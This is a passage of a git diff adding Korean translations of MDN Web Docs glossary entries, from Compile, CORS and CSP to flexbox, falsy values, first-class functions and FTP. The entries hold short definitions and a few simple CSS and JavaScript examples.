일반적으로, Client Hints header를 가지고 개발자 또는 어플리케이션은 브라우저에게 장치 픽셀 비율, 뷰포트 너비 및 디스플레이 너비와 같은 서버 자체 정보를 제공하도록 할 수 있습니다. 그러면 클라이언트는 서버에 클라이언트 환경에 대한 정보를 제공할 수 있고, 서버는 해당 정보를 기반으로 전송할 리소스를 결정할 수도 있습니다.

+ +

Vary Client Hints

+ +

다른 Client Hints가 응답에 영향을 줄 수 있는 캐시를 전달하기 위해서는, Vary HTTP header를 사용해야만 합니다.

+ +

응답 예시 :

+ +

Vary: Accept, DPR, Width, Viewport-Width, Downlink

+ +

See Also

+ + diff --git a/files/ko/glossary/compile/index.html b/files/ko/glossary/compile/index.html new file mode 100644 index 0000000000..d7dbce7f34 --- /dev/null +++ b/files/ko/glossary/compile/index.html @@ -0,0 +1,28 @@ +--- +title: Compile +slug: Glossary/Compile +translation_of: Glossary/Compile +--- +

컴파일(Compile)은 주어진 {{Glossary("computer programming", "language")}}로 작성된 컴퓨터 프로그램을 다른 언어의 동등한 프로그램으로 변환하는 프로세스입니다. 컴파일러는이 작업을 실행하는 소프트웨어입니다. 때로는이 작업을 "조립(assembling)"또는 "빌드(build)"라고도 합니다. 이 작업들은 보통 컴파일과 같은 것(예를 들면 바이너리 형식으로 패키지를 만드는 일) 이상의 작업을 수행합니다 .

+ +

일반적으로 컴파일러는 C 또는 {{Glossary("Java")}} 와 같은 고급 언어를 CPU가 이해할 수 있는, 즉 어셈블리어와 같은 기계 언어로 변환합니다. 유사한 수준의 언어 사이에서 번역하는 일부 컴파일러를 트랜스파일러 또는 크로스 컴파일러 라고 합니다. 예를 들어 TypeScript에서 {{Glossary("JavaScript")}}로 컴파일합니다. 그것들은 생산성 도구로 간주됩니다.

+ +

대부분의 컴파일러는 선행(AOT) 또는 적기(JIT)로 작업한다. 프로그래머로서, 당신은 보통 커맨드 라인이나 당신의  {{Glossary("IDE")}}에서 AOT 컴파일러를 호출한다. 가장 유명한 'gcc'가 그 한 예다.

+ +

JIT compilers are usually transparent to you, used for performance. For instance in the browser: Firefox' SpiderMonkey JavaScript Engine has a JIT built-in that will compile JavaScript in a website to machine code while you're viewing it so it runs faster. Projects like WebAssembly work on making this even better.

+ +

더 알아보기

+ +

General knowledge

+ + + +

Learning resources

+ + diff --git a/files/ko/glossary/computer_programming/index.html b/files/ko/glossary/computer_programming/index.html new file mode 100644 index 0000000000..9f55b89212 --- /dev/null +++ b/files/ko/glossary/computer_programming/index.html @@ -0,0 +1,17 @@ +--- +title: Computer Programming +slug: Glossary/Computer_Programming +translation_of: Glossary/Computer_Programming +--- +

컴퓨터 프로그래밍은 명령어 모음집을 작성하고 구성하는 과정이다. 이것들은 컴퓨터/소프트웨어 프로그램에게 컴퓨터가 이해하는 언어로 무엇을 해야 하는지 알려준다. 이러한 지침은 C++, Java, JavaScript, HTML, Python, Ruby, Rust와 같은 다양한 언어의 형태로 나온다.

+ +

적절한 언어를 사용하면 모든 종류의 소프트웨어를 프로그래밍/생성할 수 있다. 이것의 예시에는 복잡한 계산을 하여 과학자들을 돕는 프로그램, 엄청난 양의 데이터를 저장하는 데이터베이스, 음악을 다운받을 수 있는 웹 사이트, 애니메이션 영화를 만들 수 있는 애니메이션 소프트웨어를 들 수 있다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/copyleft/index.html b/files/ko/glossary/copyleft/index.html new file mode 100644 index 0000000000..41e744743c --- /dev/null +++ b/files/ko/glossary/copyleft/index.html @@ -0,0 +1,14 @@ +--- +title: Copyleft +slug: Glossary/Copyleft +translation_of: Glossary/Copyleft +--- +

Copyleft는 일반적으로 라이선스를 지칭하는 용어로서, 그러한 라이선스는 해당 저작물의 재배포가 원래 라이선스와 동일한 라이선스의 대상이 되어야 한다는 것을 나타내기 위해 사용된다. copyleft 라이선스의 예로는 GNU {{Glossary("GPL")}}(소프트웨어용)과 Creative Commons SA(Share Alike) 라이선스(예술 작품에서)가 있다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/cors/index.html b/files/ko/glossary/cors/index.html new file mode 100644 index 0000000000..eff5b6ffdd --- /dev/null +++ b/files/ko/glossary/cors/index.html @@ -0,0 +1,23 @@ +--- +title: CORS +slug: Glossary/CORS +translation_of: Glossary/CORS +--- +

다른 도메인({{glossary("domain","domains")}})에서의 자원을 호출하는 행위에 제한이 없을 경우 안전하지 않습니다. CORS (Cross-Origin Resource Sharing)는 이렇게 시스템 수준에서 타 도메인 간 자원 호출을 승인하거나 차단하는 것을 결정하는 것입니다.

+ +

 

+ +

더 보기

+ +

일반 참조

+ + + +

기술 참조

+ + diff --git a/files/ko/glossary/cross_axis/index.html b/files/ko/glossary/cross_axis/index.html new file mode 100644 index 0000000000..0824f20777 --- /dev/null +++ b/files/ko/glossary/cross_axis/index.html @@ -0,0 +1,72 @@ +--- +title: 교차축 +slug: Glossary/Cross_Axis +tags: + - CSS + - Glossary + - flexbox +translation_of: Glossary/Cross_Axis +--- +

{{glossary("flexbox", "플렉스박스")}}에서, 교차축이란 {{glossary("main axis", "주축")}}에 수직하는 축으로, {{cssxref("flex-direction")}}이 row 또는 row-reverse 인 경우 교차축은 열 방향을 따라갑니다.

+ +

The cross axis runs down the column

+ +

주축이 column 또는 column-reverse인 경우 교차축은 행 방향을 따라갑니다.

+ +

The cross axis runs along the row.

+ +

아이템을 교차축에 대해 정렬할 땐 플렉스 컨테이너의 align-items 속성 또는 각각 아이템의align-self 속성을 사용합니다. 플렉스 컨테이너가 콘텐츠 여러 줄을 가졌고, 교차축에 남는 공간이 있다면 align-content 속성을 통해 열 간격을 조절할 수 있습니다.

+ +

더 알아보기

+ +

속성 참고서

+ +
+ +
+ +

더 읽어보기

+ + + + diff --git a/files/ko/glossary/csp/index.html b/files/ko/glossary/csp/index.html new file mode 100644 index 0000000000..3da729e2eb --- /dev/null +++ b/files/ko/glossary/csp/index.html @@ -0,0 +1,22 @@ +--- +title: CSP +slug: Glossary/CSP +translation_of: Glossary/CSP +--- +

CSP (Content Security Policy)는 {{Glossary("XSS")}}이나 데이터 주입과 같은 특정 웹사이트 관련 공격을 탐지 하거나 완화 하기 위해 사용된다.

+ +

기본적인 구현은 Content-Security-Policy라고 불리는 {{Glossary("HTTP")}} 헤더를 기반으로 한다.

+ +

더 공부하기

+ +

일반 지식

+ + + +

기술 지식

+ + diff --git a/files/ko/glossary/css/index.html b/files/ko/glossary/css/index.html new file mode 100644 index 0000000000..a788e8e697 --- /dev/null +++ b/files/ko/glossary/css/index.html @@ -0,0 +1,45 @@ +--- +title: CSS +slug: Glossary/CSS +tags: + - CSS + - CodingScripting + - Glossary + - Web + - 'l10n:priority' +translation_of: Glossary/CSS +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

CSS(Cascading Style Sheets, 종속형 스타일 시트)는 {{glossary("browser", "브라우저")}}에서 웹페이지의 외형을 결정하는 선언형 언어입니다. 브라우저는 선택한 요소에 CSS 스타일 선언을 적용해 화면에 적절히 표현합니다. 하나의 스타일 선언은 속성과 그 값으로 이루어져 있습니다.

+ +

CSS는 {{glossary("HTML")}}, {{glossary("JavaScript")}}와 함께 웹의 3대 핵심 기술을 이룹니다. 보통 {{Glossary("Element", "HTML 요소")}}의 스타일을 결정하지만, {{Glossary("SVG")}}와 {{Glossary("XML")}} 등 다른 마크업 언어에도 사용할 수 있습니다.

+ +

하나의 CSS 규칙은 {{Glossary("CSS selector", "선택자")}}에 연결된 {{Glossary("CSS Property","속성")}} 세트로 구성됩니다. HTML의 모든 문단을 검은색 배경에 노란색 글자색으로 만드는 예제를 확인해보세요.

+ +
/* The selector "p" indicate that all paragraphs in the document will be affected by that rule */
+p {
+  /* The "color" property defines the text color, in this case yellow. */
+  color: yellow;
+
+  /* The "background-color" property defines the background color, in this case black. */
+  background-color: black
+}
+ +

"종속형"은 페이지의 외형을 결정할 때 선택자의 우선순위를 결정하는 법을 가리킵니다. 복잡한 웹사이트의 CSS 규칙은 수천 개에 달할 수 있으므로 종속은 매우 중요한 특성입니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

기술 참고서

+ + diff --git a/files/ko/glossary/css_preprocessor/index.html b/files/ko/glossary/css_preprocessor/index.html new file mode 100644 index 0000000000..6cd4b407a1 --- /dev/null +++ b/files/ko/glossary/css_preprocessor/index.html @@ -0,0 +1,26 @@ +--- +title: CSS 전처리기 +slug: Glossary/CSS_preprocessor +tags: + - CSS + - Glossary +translation_of: Glossary/CSS_preprocessor +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

CSS 전처리기는 전처리기의 자신만의 특별한 {{Glossary("syntax")}}를 가지고 {{Glossary("CSS")}}를 생성하도록 하는 프로그램입니다. 선택할 수 있는 많은 CSS 전처기가 있습니다. 그러나 대부분의 CSS 전처리기는 pure CSS에 존재하지 않는 특징을 추가할것 입니다, 믹스인(mixin), 중첩 셀렉터(nesting selector), 상속 셀렉터(inheritance selector), 기타 등등. 이러한 특징은  CSS 구조를  가독성있고 더 유지보수 하기 좋게 합니다. 

+ +

CSS 전처리기를 사용하기 위해서는, 당신의 웹 web {{Glossary("server")}}에 CSS compiler를 설치해야 한다.

+ +

Learn more

+ +

General knowledge

+ +

여기 가장 일반적인 CSS 전처리기들이 있다:

+ + diff --git a/files/ko/glossary/descriptor_(css)/index.html b/files/ko/glossary/descriptor_(css)/index.html new file mode 100644 index 0000000000..7bc0a0c702 --- /dev/null +++ b/files/ko/glossary/descriptor_(css)/index.html @@ -0,0 +1,12 @@ +--- +title: Descriptor (CSS) +slug: Glossary/Descriptor_(CSS) +translation_of: Glossary/Descriptor_(CSS) +--- +

CSS 설명자(descriptor)는 {{cssxref("at-rule")}}의 특성을 정의합니다. At-rules에는 하나 이상의 설명자가 있을 수 있습니다. 각각의 설명자는 다음을 갖고있습니다.

+ + diff --git a/files/ko/glossary/doctype/index.html b/files/ko/glossary/doctype/index.html new file mode 100644 index 0000000000..ae42d1468c --- /dev/null +++ b/files/ko/glossary/doctype/index.html @@ -0,0 +1,23 @@ +--- +title: 문서 타입 정의 +slug: Glossary/Doctype +tags: + - 문서타입 +translation_of: Glossary/Doctype +--- +

{{Glossary("HTML")}}에서, doctype은 모든 문서의 최상단에서 찾을 수 있는 "<!DOCTYPE html>" 필수 서문이다. doctype은 {{Glossary("브라우저")}}가 문서를 렌더링 할 때 “quirks mode”로 바뀌지 않도록하는 것이 유일한 목적이다. "<!DOCTYPE html>" doctype은 브라우저가 일부 스펙과 맞지 않는 다른 렌더링 모드를 사용하기 보다는 적절한 스펙을 따르는 최선의 시도를 하도록 한다.

+ +

더보기

+ +

배경 지식

+ + + +

기술 참조

+ + diff --git a/files/ko/glossary/dom/index.html b/files/ko/glossary/dom/index.html new file mode 100644 index 0000000000..ee5c28d2f8 --- /dev/null +++ b/files/ko/glossary/dom/index.html @@ -0,0 +1,28 @@ +--- +title: DOM +slug: Glossary/DOM +tags: + - DOM + - Glossary +translation_of: Glossary/DOM +--- +

DOM (Document Object Model) 은 {{glossary("HTML")}} 또는 {{glossary("XML")}} document와 상호작용하고 표현하는 {{glossary("API")}}입니다. DOM은 {{glossary("browser")}}에서 로드되며, 노드 트리(각 노드는 document의 부분을 나타냅니다)로 표현하는 document 모델입니다(예, {{Glossary("element")}}, 문자열, 또는 코멘트).

+ +

DOM은 document의 모든 노드에 접근하고 상호작용할 수 있도록 브라우저에서 코드를 실행할 수 있게 해주는 이유로, {{glossary("World Wide Web","Web")}}에서 가장 많이 사용되는 {{Glossary("API")}} 중 하나입니다. 노드들은 생성, 이동 및 변경될 수 있습니다. 이벤트 리스너를 노드에 추가해 주어진 이벤트가 발생할 때 트리거되게 할 수 있습니다.

+ +

DOM은 기본적으로 정의되어 있지 않습니다—이는 브라우저가 {{Glossary("JavaScript")}} 구현을 시작했을 때 나타납니다. 이 레거시 DOM을 DOM 0 이라고도 합니다. 오늘날, WHATWG에서 DOM 리빙 표준을 관리합니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

기술 정보

+ + diff --git a/files/ko/glossary/domain_name/index.html b/files/ko/glossary/domain_name/index.html new file mode 100644 index 0000000000..d3ace779c3 --- /dev/null +++ b/files/ko/glossary/domain_name/index.html @@ -0,0 +1,21 @@ +--- +title: 도메인 이름 +slug: Glossary/Domain_name +tags: + - Glossary + - WebMechanics + - 도메인 + - 도메인 네임 + - 도메인명 +translation_of: Glossary/Domain_name +--- +

도메인 이름은 {{Glossary("Internet", "인터넷")}} 웹 사이트의 주소로, {{glossary("URL")}}에서 특정 웹 페이지가 속하는 서버를 식별할 때 사용합니다. 도메인 이름은 마침표(점)로 구분한 계층적인 이름(레이블)의 연속으로 구성되며, {{glossary("TLD", "확장")}}으로 끝납니다.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/ecmascript/index.html b/files/ko/glossary/ecmascript/index.html new file mode 100644 index 0000000000..c98547d9e6 --- /dev/null +++ b/files/ko/glossary/ecmascript/index.html @@ -0,0 +1,20 @@ +--- +title: ECMAScript +slug: Glossary/ECMAScript +translation_of: Glossary/ECMAScript +--- +

ECMAScript는 {{glossary("JavaScript")}}의 기반이 되는 스크립팅 언어 명세입니다. Ecma International은 ECMAScript 표준화를 담당하고 있습니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

기술 레퍼런스

+ + diff --git a/files/ko/glossary/element/index.html b/files/ko/glossary/element/index.html new file mode 100644 index 0000000000..d0d4bf5ca0 --- /dev/null +++ b/files/ko/glossary/element/index.html @@ -0,0 +1,24 @@ +--- +title: 요소 +slug: Glossary/Element +tags: + - CodingScripting + - Glossary + - HTML + - 엘리먼트 +translation_of: Glossary/Element +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

요소(element)는 웹 페이지를 구성합니다. {{glossary("XML")}}과 {{glossary("HTML")}}에서, 요소는 데이터 항목, 텍스트 한 묶음, 이미지를 담을 수 있고, 아무것도 담지 않을 수도 있습니다. 일반적인 요소는 여는 태그와 몇 가지 {{glossary("attribute", "특성")}}, 내부의 텍스트 콘텐츠, 닫는 태그로 구성됩니다.
+ Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

+ +

요소와 {{glossary("tag", "태그")}}는 같지 않습니다. 태그는 소스 코드에서 요소의 시작과 끝을 표시하고, 요소는 {{glossary("browser", "브라우저")}}가 페이지를 표시할 때 사용하는 문서 모델인 {{glossary("DOM")}}의 일부입니다.

+ +

같이 보기

+ + diff --git a/files/ko/glossary/empty_element/index.html b/files/ko/glossary/empty_element/index.html new file mode 100644 index 0000000000..3d73deec50 --- /dev/null +++ b/files/ko/glossary/empty_element/index.html @@ -0,0 +1,34 @@ +--- +title: 빈 요소 +slug: Glossary/Empty_element +tags: + - CodingScripting + - Glossary + - Intermediate +translation_of: Glossary/Empty_element +--- +

빈 요소는 HTML, SVG, MathML의 {{glossary("element", "요소")}} 중 자식 노드를 가질 수 없는 요소입니다.

+ +

HTML, SVG, MathML의 명세는 각각의 요소가 무엇을 담을 수 있는지 매우 정확하게 명시하고 있습니다. 많은 수의 조합은 {{htmlelement("hr")}} 안의 {{htmlelement("audio")}}와 같이, 아무런 의미도 갖지 않습니다.

+ +

HTML의 빈 요소에 닫는 태그를 사용하는 건 보통 유효하지 않습니다. 예를 들어 <input type="text"></input>는 유효하지 않은 HTML입니다.

+ +

HTML의 빈 요소 목록은 다음과 같습니다.

+ + diff --git a/files/ko/glossary/endianness/index.html b/files/ko/glossary/endianness/index.html new file mode 100644 index 0000000000..8963a4ee47 --- /dev/null +++ b/files/ko/glossary/endianness/index.html @@ -0,0 +1,44 @@ +--- +title: 엔디언 +slug: Glossary/Endianness +tags: + - Coding + - CodingScripting + - Glossary +translation_of: Glossary/Endianness +--- +

엔디언(endian, endianness) 또는 바이트 순서는 숫자를 구성하는 바이트를 컴퓨터가 정렬하는 방법입니다.

+ +

메모리의 저장 공간은 인덱스, 또는 주소를 가지고 있습니다. 각각의 바이트는 8비트 숫자(0x00 이상, 0xff 이하)를 저장할 수 있으므로, 그보다 큰 숫자에 대해서는 두 개 이상의 바이트가 필요합니다. 여러 개의 바이트를 정렬하는, 지금까지 가장 많이 쓰이는 방법은 모든 Intel 프로세서가 사용하는 리틀 엔디언입니다. 리틀 엔디언은 작은 단위부터 정렬하는 방식으로, 가장 작은 단위의 바이트가 맨 앞 혹은 앞쪽 주소를 차지합니다. 이 방식은 유럽식 날짜 표기(31-12-2050)에 대입할 수 있습니다.

+ +

자연스럽게, 빅 엔디언은 그 반대 순서를 나타내며 ISO 날짜 표기(2050-12-31)와 같습니다. 빅 엔디언은 "네트워크 바이트 순서"라고도 부르는데, 대부분의 인터넷 표준은 데이터의 저장 방식에 빅 엔디언을 요구하기 때문입니다. 이는 표준 UNIX 소켓 단계부터, 표준화 웹 이진 데이터 구조까지 올라갑니다. 또한 68000 시리즈와 PowerPC 마이크로프로세서를 사용하는 구형 Mac 컴퓨터는 빅 엔디언을 사용했었습니다.

+ +

다음은 숫자 0x12345678 (10진수 305 419 896)으로 나타낸 예제입니다.

+ + + + diff --git a/files/ko/glossary/entity_header/index.html b/files/ko/glossary/entity_header/index.html new file mode 100644 index 0000000000..35ef8a7bbc --- /dev/null +++ b/files/ko/glossary/entity_header/index.html @@ -0,0 +1,26 @@ +--- +title: 엔티티 헤더 +slug: Glossary/Entity_header +tags: + - WebMechanics + - 용어 +translation_of: Glossary/Entity_header +--- +

엔티티 헤더는 메시지 바디의 컨텐츠를 나타내는 {{glossary("header", "HTTP 헤더")}}입니다. 엔티티 헤더는 HTTP 요청 및 응답 모두에서 사용됩니다. {{HTTPHeader("Content-Length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}}과 같은 헤더는 엔티티 헤더입니다.

+ +

엔티티 헤더가 요청이나 응답 헤더가 아님에도 불구하고, 이러한 용어로 종종 포함됩니다.

+ +

다음 예시에서, {{HTTPHeader("Content-Length")}}는 엔티티 헤더지만, {{HTTPHeader("Host")}}와 {{HTTPHeader("User-Agent")}}는 {{glossary("request header", "request 헤더")}}입니다:

+ +
POST /myform.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Content-Length: 128
+ +

더 알아보기

+ +

기술적 지식

+ + diff --git a/files/ko/glossary/falsy/index.html b/files/ko/glossary/falsy/index.html new file mode 100644 index 0000000000..5b9f046a7a --- /dev/null +++ b/files/ko/glossary/falsy/index.html @@ -0,0 +1,107 @@ +--- +title: 거짓같은 값 +slug: Glossary/Falsy +tags: + - CodingScripting + - Glossary + - JavaScript + - 거짓 같은 값 +translation_of: Glossary/Falsy +--- +

거짓 같은 값(Falsy, falsey로 쓰이기도 함) 값은 {{Glossary("Boolean","불리언")}} 문맥에서 false로 평가되는 값입니다.

+ +

{{Glossary("JavaScript")}}는 {{Glossary("Conditional", "조건절")}}, {{Glossary("Loop", "반복문")}} 등 불리언 값이 필요한 곳에서 {{Glossary("Type_Conversion", "형 변환")}}을 이용해 특정 값을 불리언 값으로 변환합니다.

+ +

다음은 8가지 거짓 같은 값들입니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
false키워드 false
0숫자 zero
-0음수 zero
0nBigInt. 불리언으로 사용될 경우, 숫자와 같은 규칙을 따름. 0n은 거짓 같은 값.
"" +

string

+
{{Glossary("null")}}null - 아무런 값도 없음
{{Glossary("undefined")}}undefined - 원시값
{{Glossary("NaN")}}NaN - 숫자가 아님
+ +
+

오브젝트는  [[IsHTMLDDA]] internal slot 을 가지고 있어야 거짓같은 값이 됩니다. 이 슬롯은 document.all 에만 존재하며 자바스크립트로 설정될 수 없습니다.

+
+ +

예제

+ +

다음은 거짓 같은 값의 예시입니다. 거짓 같은 값은 불리언 문맥에서 false로 변환되므로, 아래의 모든 if 블록은 실행되지 않습니다.

+ +
if (false)
+if (null)
+if (undefined)
+if (0)
+if (-0)
+if (0n)
+if (NaN)
+if ("")
+
+ +

논리 AND 연산자, &&

+ +

첫 번째 객체가 거짓 같은 값이라면, 해당 객체를 반환합니다.

+ +
false && "dog"
+// ↪ false
+
+0 && "dog"
+// ↪ 0
+
+ +

Specifications

+ + + + + + + + + + + + +
Specification
{{SpecName("ESDraft", "#sec-toboolean", "ToBoolean abstract operation")}}
+ +

같이 보기

+ + + +

{{QuickLinksWithSubpages("/ko/docs/Glossary")}}

diff --git a/files/ko/glossary/firewall/index.html b/files/ko/glossary/firewall/index.html new file mode 100644 index 0000000000..827559cc88 --- /dev/null +++ b/files/ko/glossary/firewall/index.html @@ -0,0 +1,19 @@ +--- +title: 방화벽 +slug: Glossary/firewall +tags: + - Glossary + - Security +translation_of: Glossary/firewall +--- +

방화벽은 네트워크 트래픽을 필터링하는 시스템이다. 이것을 통해 트래픽을 특정 규칙에 따라 통과시키거나 차단할 수 있다. 예를 들어 특정한 포트를 겨냥한 수신 연결이나 특정 IP 주소에 대한 송신 연결을 차단할 수 있다.

+ +

방화벽은 하나의 소프트웨어처럼 단순할 수도 있고, 방화벽 역할을 하는 유일한 기능을 가진 전용 기계처럼 복잡할 수도 있다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/first-class_function/index.html b/files/ko/glossary/first-class_function/index.html new file mode 100644 index 0000000000..682e94731c --- /dev/null +++ b/files/ko/glossary/first-class_function/index.html @@ -0,0 +1,105 @@ +--- +title: 일급 함수 +slug: Glossary/First-class_Function +tags: + - 1급객체 + - 1급함수 + - CodingScripting + - Glossary + - JavaScript + - 일급객체 +translation_of: Glossary/First-class_Function +--- +

함수를 다른 변수와 동일하게 다루는 언어는 일급 함수를 가졌다고 표현합니다. 예를 들어, 일급 함수를 가진 언어에서는 함수를 다른 함수에 매개변수로 제공하거나, 함수가 함수를 반환할 수 있으며, 변수에도 할당할 수 있습니다.

+ +

예제 | 변수에 함수 할당

+ +

JavaScript

+ +
const foo = function() {
+   console.log("foobar");
+}
+// 변수를 사용해 호출
+foo();
+
+ +

익명함수를 변수에 할당한 다음, 그 변수를 사용하여 끝에 괄호 ()를 추가하여 함수를 호출했습니다.

+ +
+

함수가 이름을 가지고 있더라도 할당한 변수 이름을 사용해 함수를 호출할 수 있습니다. 이름을 지정하면 코드를 디버깅할 때 유용합니다. 하지만 호출하는 방식에는 영향을 미치지 않습니다.

+
+ +

예제 | 함수를 인자로 전달

+ +

JavaScript

+ +
function sayHello() {
+   return "Hello, ";
+}
+function greeting(helloMessage, name) {
+  console.log(helloMessage() + name);
+}
+// `sayHello`를 `greeting` 함수에 인자로 전달
+greeting(sayHello, "JavaScript!");
+
+ +

sayHello() 함수를 greeting() 함수의 인자로 전달했습니다. 이것이 함수를 어떻게 변수처럼 다루는지 보여주는 예시입니다.

+ +
+

다른 함수에 인자로 전달된 함수를 {{glossary("Callback function", "콜백 함수")}}라고 합니다. sayHello는 콜백 함수입니다.

+
+ +

예제 | 함수 반환

+ +

JavaScript

+ +
function sayHello() {
+   return function() {
+      console.log("Hello!");
+   }
+}
+
+ +

함수가 함수를 반환하는 예제입니다. JavaScript에서는 함수를 변수처럼 취급하기 때문에 함수를 반환할 수 있습니다.

+ +
+

함수를 반환하는 함수를 고차 함수라고 부릅니다.

+
+ +

다시 예제로 돌아갑시다. sayHello 함수를 호출했을 때 반환하는 익명함수를 호출하려면 두 가지 방법이 있습니다.

+ +

1- 변수 사용

+ +
const sayHello = function() {
+   return function() {
+      console.log("Hello!");
+   }
+}
+const myFunc = sayHello();
+myFunc();
+ +

이렇게 하면 Hello! 메시지가 출력됩니다.

+ +
+

만약에 sayHello 함수를 직접 호출하면, 반환된 함수를 호출하지않고 함수 자체를 반환합니다. 그러므로 반환된 함수를 다른 변수에 저장하여 사용해야합니다.

+
+ +

2- 이중 괄호 사용

+ +
function sayHello() {
+   return function() {
+      console.log("Hello!");
+   }
+}
+sayHello()();
+
+ +

이중 괄호 ()()를 사용해 반환한 함수도 호출하고 있습니다.

+ +

더 배우기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/flex_container/index.html b/files/ko/glossary/flex_container/index.html new file mode 100644 index 0000000000..8d70d17c82 --- /dev/null +++ b/files/ko/glossary/flex_container/index.html @@ -0,0 +1,36 @@ +--- +title: 플렉스 컨테이너 +slug: Glossary/Flex_Container +tags: + - CSS + - Glossary + - flexbox +translation_of: Glossary/Flex_Container +--- +

{{glossary("flexbox", "플렉스박스")}} 레이아웃은 부모 요소의 display 속성에 flex 또는 inline-flex 값을 지정해 정의합니다. 이 때, 부모 요소는 플렉스 컨테이너, 각각의 자식 요소를 {{glossary("flex item", "플렉스 항목")}}이 됩니다.

+ +

flex 값은 요소를 블록 레벨 플렉스 컨테이너로 지정하고, inline-flex는 인라인 레벨 플렉스 컨테이너로 지정합니다. 두 값은 요소에 새로운 플렉스 서식 맥락을 생성합니다. 플렉스 서식 맥락은 블록 서식 맥락과 유사하여 플로팅 요소가 컨테이너를 침범하지 않으며, 컨테이너의 바깥 여백이 자기 아래 플렉스 항목의 바깥 여백과 상쇄되지 않습니다.

+ +

더 알아보기

+ +

속성 참고서

+ +
+ +
+ +

더 읽어보기

+ + diff --git a/files/ko/glossary/flex_item/index.html b/files/ko/glossary/flex_item/index.html new file mode 100644 index 0000000000..d7ea0c7c4e --- /dev/null +++ b/files/ko/glossary/flex_item/index.html @@ -0,0 +1,34 @@ +--- +title: 플렉스 항목 +slug: Glossary/Flex_Item +tags: + - CSS + - Glossary + - flexbox +translation_of: Glossary/Flex_Item +--- +

{{glossary("Flex Container", "플렉스 컨테이너")}}(display: flex 또는 display: inline-flex를 지정한 요소)의 바로 아래 자식은 플렉스 항목이 됩니다.

+ +

플렉스 컨테이너 내의 텍스트 역시 플렉스 항목입니다.

+ +

더 알아보기

+ +

속성 참고서

+ +
+ +
+ +

더 읽어보기

+ + diff --git a/files/ko/glossary/flexbox/index.html b/files/ko/glossary/flexbox/index.html new file mode 100644 index 0000000000..644393b94e --- /dev/null +++ b/files/ko/glossary/flexbox/index.html @@ -0,0 +1,79 @@ +--- +title: 플렉스박스 +slug: Glossary/Flexbox +tags: + - CSS + - Glossary + - Intro + - flexbox +translation_of: Glossary/Flexbox +--- +

플렉스박스(Flexbox)는 요소를 단일 차원(행 또는 열)에 배치하는 레이아웃 모델인 CSS Flexible Box Layout Module을 부를 때 흔히 사용하는 이름입니다.

+ +

명세는 플렉스박스를 사용자 인터페이스 디자인을 위한 레이아웃 모델로 설명하고 있습니다. 플렉스박스의 주요 기능은 플렉스 레이아웃 내의 각 항목이 커지거나 작아질 수 있다는 점입니다. 여백은 항목에 포함할 수도 있고, 각 항목의 사이에 분배할 수도 있습니다.

+ +

또한 플렉스박스는 항목의 {{glossary("main axis", "주축")}} 및 {{glossary("cross axis", "교차축")}} 정렬을 가능케 하여 다수의 항목에 대한 정렬 및 크기의 고수준 통제를 제공합니다.

+ +

더 알아보기

+ +

속성 참고서

+ +
+ +
+ +

더 읽어보기

+ + + + diff --git a/files/ko/glossary/fork/index.html b/files/ko/glossary/fork/index.html new file mode 100644 index 0000000000..8ef45cc0f8 --- /dev/null +++ b/files/ko/glossary/fork/index.html @@ -0,0 +1,27 @@ +--- +title: Fork +slug: Glossary/Fork +translation_of: Glossary/Fork +--- +

포크는 프로젝트에 누군가의 자신의 수정 사항을 추가하기 위한 어떤 시점에 있는 기존 소프트웨어 프로젝트의 사본이다. 기본적으로, 만약 원본 소프트웨어의 라이센스가 허가한다면, 당신은 코드를 복사하여 자신의 추가사항을 가지고 그 코드를 개발할 수 있는데, 이것이 "포크"가 될 것이다.

+ +

포크는 종종 무료 오픈소스 소프트웨어 개발에서 볼 수 있다. 이는 Git(또는 GitHub 플랫폼)을 사용한 기여 모델 덕분에 더 많이 사용되는 용어다.

+ + + +

더 알아보기

+ +

일반적인 지식

+ + + +

다양한 "잘 알려진" 포크들

+ + diff --git a/files/ko/glossary/ftp/index.html b/files/ko/glossary/ftp/index.html new file mode 100644 index 0000000000..88538c38a5 --- /dev/null +++ b/files/ko/glossary/ftp/index.html @@ -0,0 +1,17 @@ +--- +title: FTP +slug: Glossary/FTP +translation_of: Glossary/FTP +--- +

FTP (File Transfer Protocol)는 여러 해 동안 인터넷을 통해 한 {{glossary("host", "호스트")}}에서 다른 호스트로 파일을 전송하기 위한 표준  {{glossary("protocol", "프로토콜")}}이었다. 그러나 점차적으로 여러 팀과 호스팅 계정은 FTP를 수용하지 않고 Git와 같은 버전 제어 시스템에 의존하였다. 당신은 여전히 그것이 오래된 호스팅 계정에서 사용되는 것을 발견할 것이지만, FTP는 더 이상 모범 사례로 여겨지지 않는다고 말해도 무방하다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/function/index.html b/files/ko/glossary/function/index.html new file mode 100644 index 0000000000..ca21270e79 --- /dev/null +++ b/files/ko/glossary/function/index.html @@ -0,0 +1,94 @@ +--- +title: 함수 +slug: Glossary/Function +tags: + - 익명함수 + - 즉시 실행 함수 + - 함수 +translation_of: Glossary/Function +--- +

함수는 다른 코드에서 또는 자신에 의해 호출되거나 함수 레퍼런스를 저장한 {{Glossary("variable", "변수")}}에 의해 호출될 수 있는  코드조각이다. 함수가 호출될 때 함수의 입력으로 {{Glossary("Argument", "인수")}} 가 전달되고 함수는 선택적으로 출력값을 반환할 수 있다.  또한 {{glossary("JavaScript")}}에서 함수는 {{glossary("object", "객체")}}가 될 수도 있다.

+ +

